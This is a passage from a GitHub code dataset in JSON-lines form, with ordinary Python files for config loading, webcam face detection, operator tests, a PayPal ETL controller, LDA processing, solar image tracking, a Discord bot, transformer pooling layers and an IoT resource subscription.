\"gmm_pth_file\" : str,\n \"dim\" : int,\n \"n_comp\" : int,\n \"cm_type\" : str,\n \"means_prior_name\" : str,\n \"means_prior_options\" : None,\n \"weights_prior_name\" : str,\n \"weights_prior_options\" : None,\n \"log_var_prior_name\" : str,\n \"log_var_prior_options\" : None,\n\n # Options for the decoder\n \"dec_pth_file\" : str,\n \"n_units_hidden_layers\" : list,\n \"r_init\" : int,\n \"activation_output\" : str,\n \n # Genes\n \"genes_txt_file\" : str}\n\n\n#------------------------- Public functions --------------------------#\n\n\ndef load_config_model(config_file):\n \"\"\"Load the configuration specifying the DGD model's parameters\n and, possibly, the files containing the trained model from a\n YAML file.\n\n Parameters\n ----------\n config_file : ``str``\n The YAML configuration file.\n\n Returns\n -------\n config : ``dict``\n A dictionary containing the configuration.\n \"\"\"\n\n\n #-------------------- Load the configuration ---------------------#\n\n\n # Get the name of the configuration file\n config_file_name = os.path.basename(config_file).rstrip(\".yaml\")\n\n # If the configuration file is a name without extension\n if config_file == config_file_name:\n \n # Assume it is a configuration file in the directory\n # storing configuration files for running protocols\n config_file = os.path.join(defaults.CONFIG_MODEL_DIR,\n config_file_name + \".yaml\")\n\n # Otherwise\n else:\n \n # Assume it is a file name/file path\n config_file = os.path.abspath(config_file)\n\n # Load the configuration from the file\n config = yaml.safe_load(open(config_file, \"r\"))\n\n # Split the path into its 'head' (path to the file without\n # the file name) and its 'tail' (the file name)\n path_head, path_tail = os.path.split(config_file)\n\n\n #------------------ Check against the template -------------------#\n\n\n # Check the configuration against the template\n config = _util._check_config_against_template(\\\n config = config,\n template = _CONFIG_MODEL_TEMPLATE)\n\n\n #--------------- Get the file with the trained GMM ---------------#\n\n\n # Get the PyTorch file containing the trained Gaussian\n # mixture model\n gmm_pth_file = config[\"gmm_pth_file\"]\n\n # If the default file should be used\n if gmm_pth_file == \"default\":\n\n # Get the path to the default file\n config[\"gmm_pth_file\"] = \\\n os.path.normpath(defaults.GMM_FILE)\n\n # Otherwise\n else:\n\n # Get the path to the file\n config[\"gmm_pth_file\"] = \\\n os.path.normpath(os.path.join(path_head,\n gmm_pth_file))\n\n\n #------------- Get the file with the trained decoder -------------#\n\n\n # Get the PyTorch file containing the trained decoder\n dec_pth_file = config[\"dec_pth_file\"]\n\n # If the default file should be used\n if dec_pth_file == \"default\":\n\n # Get the path to the default file\n config[\"dec_pth_file\"] = \\\n os.path.normpath(defaults.DEC_FILE)\n\n # Otherwise\n else:\n\n # Get the path to the file\n config[\"dec_pth_file\"] = \\\n os.path.normpath(os.path.join(path_head,\n dec_pth_file))\n\n\n #------------------ Get the file with the genes ------------------#\n\n\n # Get the .txt file containing the genes\n genes_txt_file = config[\"genes_txt_file\"]\n\n # If the default file should be used\n if genes_txt_file == \"default\":\n\n # Get the path to the default file\n config[\"genes_txt_file\"] = \\\n os.path.normpath(defaults.GENES_FILE)\n\n # Otherwise\n else:\n\n # Get the path to the file\n config[\"genes_txt_file\"] = \\\n os.path.normpath(os.path.join(path_head,\n genes_txt_file))\n\n # Return the configuration\n return config\n\n\ndef load_config_rep(config_file):\n \"\"\"Load the configuration containing the options for data\n loading and optimization to find the best representations.\n\n Parameters\n ----------\n config_file : ``str``\n The YAML configuration file.\n\n Returns\n -------\n ``dict``\n A dictionary containing the configuration.\n \"\"\"\n\n # Get the name of the configuration file\n config_file_name = os.path.basename(config_file).rstrip(\".yaml\")\n\n # If the configuration file is a name without extension\n if config_file == config_file_name:\n \n # Assume it is a configuration file in the directory\n # storing configuration files for running protocols\n config_file = os.path.join(defaults.CONFIG_REP_DIR,\n config_file_name + \".yaml\")\n\n # Otherwise\n else:\n \n # Assume it is a file name/file path\n config_file = os.path.abspath(config_file)\n\n # Load the configuration from the file\n config = yaml.safe_load(open(config_file, \"r\"))\n\n # Split the path into its 'head' (path to the file without\n # the file name) and its 'tail' (the file name)\n path_head, path_tail = os.path.split(config_file)\n\n # Return the configuration\n return config\n\n\ndef load_config_plot(config_file):\n \"\"\"Load a configuration for a plot.\n\n Parameters\n ----------\n config_file : ``str``\n A YAML configuration file.\n\n Returns\n -------\n ``dict``\n A dictionary containing the configuration.\n \"\"\"\n\n # Get the name of the configuration file\n config_file_name = os.path.basename(config_file).rstrip(\".yaml\")\n\n # If the configuration file is a name without extension\n if config_file == config_file_name:\n \n # Assume it is a configuration file in the directory\n # storing configuration files for running protocols\n config_file = os.path.join(defaults.CONFIG_PLOT_DIR,\n config_file_name + \".yaml\")\n\n # Otherwise\n else:\n \n # Assume it is a file name/file path\n config_file = os.path.abspath(config_file)\n\n # Load the configuration from the file\n config = yaml.safe_load(open(config_file, \"r\"))\n\n # Split the path into its 'head' (path to the file without\n # the file name) and its 'tail' (the file name)\n path_head, path_tail = os.path.split(config_file)\n \n # Substitute the font properties definitions\n # with the corresponding FontProperties instances\n new_config = _util._recursive_map_dict(\\\n d = config,\n func = fm.FontProperties,\n keys = {\"fontproperties\", \"prop\", \"title_fontproperties\"})\n\n # Return the new configuration\n return new_config","repo_name":"Center-for-Health-Data-Science/BulkDGD","sub_path":"bulkDGD/ioutil/configio.py","file_name":"configio.py","file_ext":"py","file_size_in_byte":7160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"18543444157","text":"'''import cv2\n\ncap=cv2.VideoCapture(0)\nstatus, photo=cap.read()\n\nfacemodel = cv2.CascadeClassifier(\"haarcascade_face.xml\")\nprint(len(facemodel.detectMultiScale(photo)))\n\nwhile True:\n status , pics = cap.read()\n myfacecoord= facemodel.detectMultiScale(pics)\n if len(myfacecoord)==1:\n x1= myfacecoord[0][0]\n y1= myfacecoord[0][1]\n x2= myfacecoord[0][0] + myfacecoord[0][2]\n y2= myfacecoord[0][0] + myfacecoord[0][3]\n cv2.rectangle(pics,(x1,y1),(x2,y2),[0,255,0],2)\n\n cv2.imshow(\"my pic\", pics)\n if cv2.waitKey(10) ==13: #it is in millisecond 5000 millisecond == 5 sec\n break\n\ncv2.destroyAllWindows()'''\n\nimport cv2\n\ncap = cv2.VideoCapture(0)\nstatus, photo = cap.read()\n\nfacemodel = cv2.CascadeClassifier(\"haarcascade_face.xml\")\n\nwhile True:\n status, pics = cap.read()\n myfacecoord = facemodel.detectMultiScale(pics)\n \n for (x, y, w, h) in myfacecoord:\n x1 = x\n y1 = y\n x2 = x + w\n y2 = y + h\n cv2.rectangle(pics, (x1, y1), (x2, y2), [0, 255, 0], 2)\n \n # Display the cropped face region in a separate window\n face_roi = pics[y1:y2, x1:x2]\n cv2.imshow(\"Detected Face\", face_roi)\n\n cv2.imshow(\"Webcam\", pics)\n \n if cv2.waitKey(10) == 13: # Wait for Enter key to exit\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"ayushjoshi30/linuxworld","sub_path":"linuxworld/mltask3 (2).py","file_name":"mltask3 (2).py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34965183930","text":"from edpyt.operators import (\n fsgn,\n flip,\n c,\n cdg,\n check_full,\n check_empty\n)\n\nimport numpy as np\n\ndef test_fsgn():\n sbin = \"1001101\"\n n = len(sbin)\n s = int(sbin,base=2)\n assert fsgn(s, np.int32(2), n) == (-1)**2\n assert fsgn(s, 3, n) == (-1)**1\n assert fsgn(s, 6, n) == (-1)**0\n\n\ndef test_flip():\n\n s = int(\"101101\",base=2)\n assert flip(s, 2) == int(\"101001\",base=2)\n assert flip(s, 5) == int(\"001101\",base=2)\n\n\ndef test_fer_algebra():\n sbin = \"101101\"\n n = len(sbin)\n s = int(sbin,base=2)\n i = 0\n j = 1\n # {c_i,c^+_j} = c_i c^+_j + c^+_j c_i = \\delta_ij\n #\n tsgn, t = c(s, i, n)\n fsgn, f1 = cdg(t, j, n)\n sgn1 = tsgn * fsgn\n #\n tsgn, t = cdg(s, j, n)\n fsgn, f2 = c(t, i, n)\n sgn2 = tsgn * fsgn\n #\n assert sgn1*f1 + sgn2*f2 == 0\n\n\ndef test_cdg():\n sbin = \"1001101\"\n n = len(sbin)\n s = int(sbin,base=2)\n sgn, f = cdg(s, 1, n)\n assert sgn==(-1)**3\n assert f==int(\"1001111\",base=2)\n\ndef test_c():\n sbin = \"1001101\"\n n = len(sbin)\n s = int(sbin,base=2)\n sgn, f = c(s, 2, n)\n assert sgn==(-1)**2\n assert f==int(\"1001001\",base=2)\n\n\ndef test_check_full():\n\n s = int(\"1001101\",base=2)\n assert check_full(s, 0)\n assert check_full(s, 2)\n\ndef test_check_empty():\n\n s = int(\"1001101\",base=2)\n assert check_empty(s, 1)\n assert check_empty(s, 4)\n assert not check_empty(s, 3)\n","repo_name":"gandusgui/edpyt","sub_path":"tests/test_operators.py","file_name":"test_operators.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21100469384","text":"\"\"\"Controllers for Flask-RESTful PaypalETL resources: handle the business logic for the endpoint.\"\"\"\nfrom application.helpers.paypal_etl import process_paypal_etl\nfrom application.helpers.paypal_etl import validate_file_data_storage\nfrom application.models.agent import AgentModel\n\n\ndef manage_paypal_etl( request ):\n \"\"\"Handle the logic for PayPal ETL.\"\"\"\n\n file_data = request.files.to_dict()\n\n validated_file_data = validate_file_data_storage( file_data )\n file_storage = validated_file_data[ 'file_storage' ]\n csv_file_as_list = validated_file_data[ 'reader_list' ]\n\n # The admin_user_id is set to the ultsys id in the JWT validation here.\n # It is used as an agent id when building the models in the called functions.\n # It needs to be converted from the admin_user_id ( ultsys id ) to an agent id.\n admin_user_id = request.form.get( 'admin_user_id' )\n enacted_by_agent = AgentModel.query.filter_by( user_id=admin_user_id ).one_or_none()\n if not enacted_by_agent:\n enacted_by_agent = AgentModel.query.filter_by( name='Unknown Staff Member' ).one()\n enacted_by_agent_id = enacted_by_agent.id\n\n return process_paypal_etl( enacted_by_agent_id, csv_file_as_list, file_storage )\n","repo_name":"transreductionist/API-Project-1","sub_path":"application/controllers/paypal_etl.py","file_name":"paypal_etl.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12251319016","text":"import pickle\nfrom .base_value_getter import BaseValueGetter\n\n\nclass BingLiuLexiconValueGetter(BaseValueGetter):\n def __init__(self):\n with open(\n self.data_dir + \"/bing-liu-opinion-lexicon/positive-words.pickle\", \"rb\"\n ) as inp:\n self.positive_lex = pickle.load(inp)\n\n with open(\n self.data_dir + \"/bing-liu-opinion-lexicon/negative-words.pickle\", \"rb\"\n ) as inp:\n self.negative_lex = pickle.load(inp)\n\n print(\"Bing Liu Value Getter instantiated...\")\n\n def get_value(self, token):\n if token in self.positive_lex:\n return 1\n elif token in self.negative_lex:\n return -1\n else:\n return 0\n\n\nif __name__ == \"__main__\":\n getter = BingLiuLexiconValueGetter()\n\n print(getter.get_value(\"cool\"))\n","repo_name":"rogojagad/GUI-TA","sub_path":"server/analyzer/value_getter/bing_liu_value_getter.py","file_name":"bing_liu_value_getter.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"620582100","text":"import g\nimport json\nimport os\n\n\ncwd = os.getcwd()\nwd = os.path.split(cwd)[0]\nos.chdir(wd)\n\n\nif __name__ == '__main__':\n\n outputDict = {}\n with open(g.dataPath + 'finalText.txt', 'r', encoding='utf-8') as f1:\n with open(g.ldaDir + 'LDA_topic_document_pro_NY_{0}.txt'.format(g.topicNumber), 'r', encoding='utf-8') as f2:\n for l1, l2 in zip(f1, f2):\n l1 = l1.strip('\\n').split('\\t')\n textID = l1[0]\n l2 = l2.strip('\\n')\n l2 = l2.replace('(', '[').replace(')', ']')\n l2 = json.loads(l2)\n outputDict[textID] = l2\n\n for k in outputDict:\n values = [0 for i in range(g.topicNumber)]\n for item in outputDict[k]:\n values[item[0]] = item[1]\n outputDict[k] = values\n\n with open(g.ldaDir + 'idLdaDict.json', 'w', encoding='utf-8') as f:\n f.write(json.dumps(outputDict))\n with open('../client/public/idLdaDict.json', 'w', encoding='utf-8') as f:\n f.write(json.dumps(outputDict))\n","repo_name":"locknono/twitter-sampling","sub_path":"python_scripts/data_process/getIDLdaProDict.py","file_name":"getIDLdaProDict.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"29689507636","text":"import sys\nimport os\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../../utils\"))\nsys.path.append('../..')\nsys.path.append('..')\nimport matplotlib as mpl\n\nimport numpy as np\nimport numpy.random as random\nimport time\nimport os.path\nfrom astropy.io import fits\nimport plot\n\nimport astropy.units as u\nfrom astropy.coordinates import SkyCoord\nimport sunpy.coordinates\nfrom sunpy.coordinates import frames\nimport track\nimport misc\n\ndownsample_coef = .1\nnum_chunks = 1\n\nfor file_date in [\"2013-02-03\", \"2013-02-04\"]:\n\n hdul = fits.open(f\"{file_date}_hmi.M_720s.fits\")\n \n try:\n os.remove(f\"{file_date}.fits\")\n except:\n pass\n \n output = fits.open(f\"{file_date}.fits\", mode=\"append\")\n hdu = fits.ImageHDU(data=None, header=None)\n output.append(hdu)\n \n metadata = hdul[1].header\n \n t_rec = metadata['T_REC']\n \n date = t_rec[:10]\n date = date[:4] + \"-\" + date[5:7] + \"-\" +date[8:10]\n \n hrs = t_rec[11:13]\n mins = t_rec[14:16]\n secs = t_rec[17:19]\n \n obs_time_0 = f\"{date} {hrs}:{mins}:{secs}\" \n \n sdo_lon_0 = metadata['CRLN_OBS']\n sdo_lat_0 = metadata['CRLT_OBS']\n sdo_dist_0 = metadata['DSUN_OBS']\n \n observer_0 = frames.HeliographicStonyhurst(0.*u.deg, sdo_lat_0*u.deg, radius=sdo_dist_0*u.m, obstime=obs_time_0)\n \n nx = int(round(metadata['NAXIS1']*downsample_coef))\n ny = int(round(metadata['NAXIS2']*downsample_coef))\n \n xs1 = (np.arange(1, nx + 1)).astype(float)\n ys1 = (np.arange(1, ny + 1)).astype(float)\n xys = np.transpose([np.tile(xs1, ny), np.repeat(ys1, nx)])\n \n data = hdul[1].data\n max_val = np.nanmax(data)\n fltr = np.isnan(data)\n data[fltr] = max_val\n\n data = misc.sample_image(data, downsample_coef)\n fltr = data > .9*max_val\n data[fltr] = np.nan\n test_plot = plot.plot(nrows=1, ncols=1, size=plot.default_size(1000, 1000))\n test_plot.colormap(data, show_colorbar=True)\n test_plot.save(f\"image.png\")\n test_plot.close()\n \n fltr0 = fltr\n xys = xys[np.logical_not(fltr).flatten()]\n \n for i in np.arange(1, len(hdul), 10):\n metadata = hdul[i].header\n \n a = metadata['CROTA2']*np.pi/180\n \n dx = metadata['CRVAL1']/downsample_coef\n dy = metadata['CRVAL2']/downsample_coef\n arcsecs_per_pix_x = metadata['CDELT1']/downsample_coef\n arcsecs_per_pix_y = metadata['CDELT2']/downsample_coef\n coef_x = 1./arcsecs_per_pix_x\n coef_y = 1./arcsecs_per_pix_y\n xc = metadata['CRPIX1']*downsample_coef\n yc = metadata['CRPIX2']*downsample_coef\n \n t_rec = metadata['T_REC']\n \n date = t_rec[:10]\n date = date[:4] + \"-\" + date[5:7] + \"-\" +date[8:10]\n \n hrs = t_rec[11:13]\n mins = t_rec[14:16]\n secs = t_rec[17:19]\n \n obs_time = f\"{date} {hrs}:{mins}:{secs}\" \n \n sdo_lon = metadata['CRLN_OBS']\n sdo_lat = metadata['CRLT_OBS']\n sdo_dist = metadata['DSUN_OBS']\n \n \n if i == 1:\n sin_a = np.sin(a)\n cos_a = np.cos(a)\n \n print(obs_time)\n xs_arcsec, ys_arcsec = track.pix_to_image(xs1, ys1, dx, dy, xc, yc, cos_a, sin_a, arcsecs_per_pix_x, arcsecs_per_pix_y)\n grid = np.transpose([np.tile(xs_arcsec, ny), np.repeat(ys_arcsec, nx)])\n grid = grid[np.logical_not(fltr0).flatten()]\n \n xs_all_last = grid[:, 0]*u.arcsec\n ys_all_last = grid[:, 1]*u.arcsec\n \n \n \n \n observer_i = frames.HeliographicStonyhurst(0.*u.deg, sdo_lat*u.deg, radius=sdo_dist*u.m, obstime=obs_time)\n \n pix_dict = (np.ones((nx, ny), dtype=int)*-1).tolist()\n chunk_size = int(len(xs_all_last)/num_chunks)\n start_index = 0\n \n xs_all = np.array([])\n ys_all = np.array([])\n x_pix_all = np.array([])\n y_pix_all = np.array([])\n lons_all = np.array([])\n lats_all = np.array([])\n\n for chunk_index in range(num_chunks):\n if chunk_index < num_chunks - 1:\n end_index = start_index + chunk_size\n else:\n end_index = len(xs_all_last)\n xs, ys = xs_all_last[start_index:end_index], ys_all_last[start_index:end_index]\n \n #c1 = SkyCoord(grid[:, 0]*u.arcsec, grid[:, 1]*u.arcsec, frame=frames.Helioprojective, observer=observer_0)\n c1 = SkyCoord(xs, ys, frame=frames.Helioprojective, observer=observer_0)\n c2 = c1.transform_to(frames.HeliographicCarrington)\n lons = c2.lon.value - sdo_lon_0\n lats = c2.lat.value\n c3 = SkyCoord(c2.lon, c2.lat, frame=frames.HeliographicCarrington, observer=observer_i, obstime=obs_time)\n c4 = c3.transform_to(frames.Helioprojective)\n \n x_pix, y_pix = track.image_to_pix(c4.Tx.value, c4.Ty.value, dx, dy, xc, yc, cos_a, sin_a, coef_x, coef_y)\n x_pix = np.round(x_pix)\n y_pix = np.round(y_pix)\n \n observer_0 = observer_i\n #sdo_lon_0 = sdo_lon\n xs = c4.Tx\n ys = c4.Ty\n \n x_pix = x_pix.tolist()\n y_pix = y_pix.tolist()\n xs = xs.value.tolist()\n ys = ys.value.tolist()\n lons = lons.tolist()\n lats = lats.tolist()\n\n _ = track.fix_sampling(x_pix, y_pix, xs, ys, lons, lats, xys, sdo_lon_0, observer_i, pix_dict, start_index, len(xs_all), \\\n (dx, dy, xc, yc, cos_a, sin_a, arcsecs_per_pix_x, arcsecs_per_pix_y))\n\n start_index += chunk_size\n\n lons = np.asarray(lons)\n lats = np.asarray(lats)\n x_pix = np.asarray(x_pix)\n y_pix = np.asarray(y_pix)\n xs = np.asarray(xs)\n ys = np.asarray(ys)\n \n fltr = np.logical_not(np.isnan(x_pix)) * (x_pix >= 0)\n x_pix = x_pix[fltr]\n y_pix = y_pix[fltr]\n lons = lons[fltr]\n lats = lats[fltr]\n xs = xs[fltr]\n ys = ys[fltr] \n \n xs_all = np.append(xs_all, xs)\n ys_all = np.append(ys_all, ys)\n xs.clear()\n ys.clear()\n \n x_pix_all = np.append(x_pix_all, x_pix)\n y_pix_all = np.append(y_pix_all, y_pix)\n \n lons_all = np.append(lons_all, lons)\n lats_all = np.append(lats_all, lats)\n \n data = np.empty((ny, nx))\n data[:, :] = np.nan\n \n ###########################################################################\n if (i - 1) % 10 == 0:\n j = 0\n num_patches = 5\n patch_size = 20\n for lon in np.linspace(-80, 65, num_patches):\n k = 0\n lon_filter = (lons_all >= lon) * (lons_all < lon + patch_size)\n for lat in np.linspace(-80, 65, num_patches):\n lat_filter = (lats_all >= lat) * (lats_all < lat + patch_size)\n fltr = lon_filter * lat_filter\n value = j * num_patches + k\n #value = [1., -1.][(j % 2 + k % 2) % 2]\n data[y_pix_all[fltr].astype(int), x_pix_all[fltr].astype(int)] = value\n k += 1\n j += 1\n \n test_plot = plot.plot(nrows=1, ncols=1, size=plot.default_size(1000, 1000))\n test_plot.colormap(data, show_colorbar=True)\n test_plot.save(f\"output{date}_{i}.png\")\n test_plot.close()\n \n \n metadata['NAXIS1'] = nx\n metadata['NAXIS2'] = ny\n \n metadata['CDELT1'] = arcsecs_per_pix_x\n metadata['CDELT2'] = arcsecs_per_pix_y\n metadata['CRPIX1'] = xc\n metadata['CRPIX2'] = yc\n \n hdu = fits.ImageHDU(data=data, header=metadata)\n \n output.append(hdu)\n output.flush()\n \n output.close()\n hdul.close() ","repo_name":"nigulo/python","sub_path":"fmode/tests/gen_test_data.py","file_name":"gen_test_data.py","file_ext":"py","file_size_in_byte":8175,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"31681675775","text":"import discord\nimport os\n\nimport motor.motor_asyncio\nfrom discord_components import DiscordComponents\n\nfrom discord.ext import commands\nfrom configparser import ConfigParser\n\nfrom botUtils.utils import con\nfrom botUtils.mongo import Document\n\nlogs = con()\nlogs.start()\nlogs.log(\"Starting bot...\")\n\nintents = discord.Intents.all()\nparser = ConfigParser()\nparser.read('config.ini')\nTOKEN = parser.get('CONFIG', 'token')\ntry:\n logchannel = int(parser.get('CONFIG', 'log_channel'))\nexcept Exception as e:\n print(f\"Couldn't define logchannel: {e}\")\n logchannel = None\ntry:\n connection_url = parser.get('CONFIG', 'mongoDB')\nexcept Exception as e:\n print(f\"Couldn't define connection_url: {e}\")\n connection_url = None\n\n\nasync def get_prefix(bots, message):\n if not message.guild:\n return commands.when_mentioned_or(\"+\")(bots, message)\n\n try:\n data = await bot.config.find(message.guild)\n\n if not data or \"prefix\" not in data:\n return commands.when_mentioned_or(\"+\")(bots, message)\n return commands.when_mentioned_or(data[\"prefix\"])(bots, message)\n except:\n return commands.when_mentioned_or(\"+\")(bots, message)\n\n\nbot = commands.Bot(command_prefix=get_prefix, case_insensitive=True, intents=intents,\n owner_ids=[459346559658622976, 525019379872563200])\nbot.remove_command('help')\ncolor = 0xB1FBFF\n\nbot.muted_users = {}\n\n\n@bot.event\nasync def on_ready():\n logs.log('Successfully logged in as ' + bot.user.name + ' | ' + str(bot.user.id) + '.')\n DiscordComponents(bot)\n bot.mongo = motor.motor_asyncio.AsyncIOMotorClient(str(connection_url))\n bot.db = bot.mongo[\"Name\"]\n bot.config = Document(bot.db, \"config\")\n bot.mutes = Document(bot.db, \"mutes\")\n for document in await bot.config.get_all():\n print(document)\n\n currentMutes = await bot.mutes.get_all()\n for mute in currentMutes:\n bot.muted_users[mute[\"_id\"]] = mute\n\n print(bot.muted_users)\n\n logs.log('Successfully initialized MongoDB-Database')\n\n if logchannel is not None:\n channel = bot.get_channel(logchannel)\n if channel is not None:\n embed = discord.Embed(title=f\"Bot Started\", description=f\"```\\nSuccessfully started the bot.\\n```\",\n color=0x00ff00)\n try:\n await channel.send(embed=embed)\n except discord.Forbidden:\n raise ValueError(\n \"The bot does not have permissions to send messages in the logchannel specified in botconfig.ini.\")\n else:\n raise ValueError(\"The logchannel specified in botconfig.ini is not visible to the bot, or does not exist.\")\n return\n\n\ndef load_extension(extension):\n ext = extension.replace('/', '.')\n try:\n bot.load_extension(ext)\n logs.log(f\"{ext} loaded.\")\n except Exception as e:\n logs.log(f\"Couldn't load {ext}: {e}\")\n\n\nfor dir_name in [\"commands\", \"commands/owner\", \"commands/user\", \"commands/moderation\", \"events\", \"tasks\"]:\n for file in os.listdir(dir_name):\n if file.endswith(\".py\"):\n load_extension(f\"{dir_name}.{file}\".replace('.py', ''))\n\nlogs.log('Logging In...')\ntry:\n bot.run(TOKEN, bot=True, reconnect=True)\nexcept Exception as e:\n logs.log(str(e))\n","repo_name":"mats-voss/Botschiee","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"39546498845","text":"import torch\nimport torch.nn as nn\nfrom fastai.layers import TimeDistributed\n\n\nclass MeanPooling(nn.Module):\n def __init__(self, head=False):\n super(MeanPooling, self).__init__()\n self.head = head\n \n def forward(self, embeddings, attention_mask):\n if self.head:\n last_hidden_state = embeddings\n attention_mask = attention_mask\n else:\n last_hidden_state = embeddings.last_hidden_state\n \n input_mask_expanded = attention_mask.unsqueeze(-1).expand(last_hidden_state.size()).float()\n sum_embeddings = torch.sum(last_hidden_state * input_mask_expanded, 1)\n sum_mask = input_mask_expanded.sum(1)\n sum_mask = torch.clamp(sum_mask, min=1e-9)\n mean_embeddings = sum_embeddings / sum_mask\n return mean_embeddings\n\nclass MaxPooling(nn.Module):\n def __init__(self, head=False):\n super(MaxPooling, self).__init__()\n self.head = head\n \n def forward(self, embeddings, attention_mask):\n if self.head:\n last_hidden_state = embeddings\n attention_mask = attention_mask\n else:\n last_hidden_state = embeddings.last_hidden_state\n \n input_mask_expanded = attention_mask.unsqueeze(-1).expand(last_hidden_state.size()).float()\n last_hidden_state[input_mask_expanded == 0] = -1e9\n max_embeddings = torch.max(last_hidden_state, 1)[0]\n return max_embeddings\n\nclass ClsPooler(nn.Module):\n def __init__(self, hidden_size, last_n_cls=4, weighted=False, drop_p=0):\n super(ClsPooler, self).__init__()\n self.last_n_cls = last_n_cls\n self.weighted = weighted\n # self.res_block = nn.Sequential(*[\n # ResNet1DBlock(hidden_size*(last_n_cls-i), hidden_size*(last_n_cls-(i+1)), p=drop_p) \n # for i in range(last_n_cls) if ((last_n_cls-(i+1)) > 1)\n # ])\n if self.weighted:\n self.weights = torch.ones(self.last_n_cls).unsqueeze(0).T\n self.weights = nn.parameter.Parameter(self.weights)\n else:\n self.cls_pool_fc = LinLnDrop(hidden_size*self.last_n_cls, hidden_size, bias=False)\n # nn.init.kaiming_normal(self.cls_pool_fc.weight)\n \n def forward(self, embeddings, attention_mask=None):\n hidden_states = embeddings.hidden_states\n dim = -1\n if self.weighted:\n dim = 1\n\n last_n_concat= torch.concat([\n hidden_states[-i][:,0,:] for i in range(1, self.last_n_cls+1)\n ], dim=dim)\n\n if self.weighted:\n # print(last_n_concat.shape)\n # print(self.weights.shape)\n # last_n_concat = last_n_concat\n cls_pooled = torch.sum(last_n_concat*self.weights, dim=dim)\n return cls_pooled\n # last_n_concat = last_n_concat.permute(0, 2, 1)\n # last_n_concat = self.res_block(last_n_concat)\n # last_n_concat = last_n_concat.permute(0,2,1)\n last_n_concat = self.cls_pool_fc(last_n_concat).unsqueeze(1)\n return last_n_concat\n\nclass MeanMaxPooler(nn.Module):\n def __init__(self, hidden_size=768):\n super(MeanMaxPooler, self).__init__()\n self.mean_pooler = MeanPooling(head=True)\n self.max_pooler = MaxPooling(head=True)\n self.tdl = TimeDistributed(module=nn.Linear(hidden_size, hidden_size, bias=False), low_mem=True, tdim=1)\n self.cls_fc = nn.Linear(hidden_size, hidden_size, bias=False)\n\n nn.init.kaiming_normal(self.cls_fc.weight)\n\n def forward(self, embeddings, attention_mask):\n last_hidden_state = embeddings.last_hidden_state\n tdl_output = self.tdl(last_hidden_state[:, 1:, :])\n mean_pooled = self.mean_pooler(tdl_output, attention_mask[:, 1:])\n max_pooled = self.max_pooler(tdl_output, attention_mask[:, 1:])\n cls_token = self.cls_fc(last_hidden_state[:, 0, :])\n\n pooled_embeds = torch.concat([\n cls_token, mean_pooled, max_pooled\n ], dim = -1)\n\n return pooled_embeds\nclass Conv1DLayer(nn.Sequential):\n def __init__(self, in_chn, out_chn, kernel_size=1, stride=2, bn=True, p=0):\n layers = []\n\n if bn:\n b_norm = nn.BatchNorm1d(in_chn)\n layers.append(b_norm)\n \n if p>0:\n drop_layer = nn.Dropout(p=p)\n layers.append(drop_layer)\n\n conv_1d = nn.Conv1d(\n in_channels=in_chn, \n out_channels=out_chn,\n kernel_size=kernel_size,\n stride=stride\n )\n\n layers.append(conv_1d)\n \n super(Conv1DLayer, self).__init__(*layers)\n\nclass Conv1DBlock(nn.Sequential):\n def __init__(self, in_chn, out_chn, p=0):\n layers = [\n Conv1DLayer(in_chn=in_chn, out_chn=in_chn, p=p),\n Conv1DLayer(in_chn=in_chn, out_chn=out_chn, p=p)\n ]\n \n super(Conv1DBlock, self).__init__(*layers)\n\nclass ResNet1D(nn.Module):\n def __init__(self, in_chn, out_chn, p=0):\n super(ResNet1D, self).__init__()\n self.conv_1d_block = Conv1DBlock(in_chn=in_chn,\n out_chn=out_chn, p=p)\n \n def forward(self, x):\n conv_x = self.conv_1d_block(x)\n return conv_x + x\n\nclass ResNet1DBlock(nn.Sequential):\n def __init__(self, in_chn, out_chn, p=0):\n res_net_1d = ResNet1D(in_chn=in_chn, out_chn=in_chn, p=p)\n conv_block = Conv1DBlock(in_chn=in_chn, out_chn=out_chn)\n layers = [res_net_1d, conv_block]\n\n super(ResNet1DBlock, self).__init__(*layers)\n\nclass LinLnDrop(nn.Sequential):\n def __init__(self,in_dim, out_dim, act=None, norm_first=True, p=0, bias=False):\n layers = []\n if p > 0:\n layers.append(nn.Dropout(p))\n lin_layer = nn.Linear(in_dim, out_dim, bias=bias)\n nn.init.kaiming_normal(lin_layer.weight)\n layers.append(lin_layer)\n if norm_first:\n layers.insert(0, nn.LayerNorm(in_dim))\n else:\n layers.append(nn.LayerNorm(out_dim))\n if act != None:\n layers.append(act)\n super(LinLnDrop, self).__init__(*layers)\n\n \n\nif __name__ == \"__main__\":\n print(\"poolers\")","repo_name":"tanmaymane18/feedback-3","sub_path":"ModelBuilder/poolers.py","file_name":"poolers.py","file_ext":"py","file_size_in_byte":6183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14882824963","text":"from mbed_cloud import ConnectAPI\nimport time\n\nPOPUP_IOT_RESOURCE = \"/5555/0/6666\"\ndev = \"0169a0a10ea00000000000010010005b\"\n\ndef _main():\n api = ConnectAPI()\n api.start_notifications()\n devices = api.list_connected_devices().data\n if not devices:\n raise Exception(\"No connected devices registered. Aborting\")\n\n value = api.get_resource_value(devices[0].id, POPUP_IOT_RESOURCE)\n queue = api.add_resource_subscription(devices[0].id, POPUP_IOT_RESOURCE)\n while True:\n print(\"Current value: %r\" % (value,))\n value = queue.get(timeout=30)\n\n\nif __name__ == \"__main__\":\n 